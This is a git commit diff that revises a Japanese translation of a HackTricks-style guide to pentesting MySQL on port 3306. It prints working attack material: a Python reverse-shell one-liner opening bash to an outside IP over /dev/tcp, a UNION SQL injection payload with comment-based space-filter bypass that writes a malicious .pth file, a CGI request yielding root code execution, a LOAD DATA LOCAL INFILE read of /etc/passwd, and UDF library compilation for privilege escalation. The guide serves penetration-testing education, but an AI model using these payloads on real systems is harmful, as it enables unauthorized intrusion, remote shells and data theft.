Translated ['src/network-services-pentesting/pentesting-mysql.md'] to ja

This commit is contained in:
Translator 2025-07-14 08:54:10 +00:00
parent 839b7ba44a
commit 915bb68f5b

View File

@ -1,15 +1,10 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **基本情報**
**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。
**MySQL**は、無料で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
**デフォルトポート:** 3306
```
@ -46,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQL コマンド**
## **MySQLコマンド**
```bash
show databases;
use <database>;
@ -83,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL権限列挙
### MySQL 権限列挙
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -126,7 +121,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保
**UNION** クエリを使用してファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保ちます
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
@ -135,9 +130,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが**root**として実行され、ほぼどこでも書き込みアクセスが与えられます。
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行をます:
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を得ます:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
@ -154,7 +149,7 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL クライアントによる任意のファイルの読み取り
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のようになります:
この動作は次のように行われます:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
@ -222,7 +217,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
ライブラリを取得したら、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
今、ライブラリがあるので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
#### Linux
```sql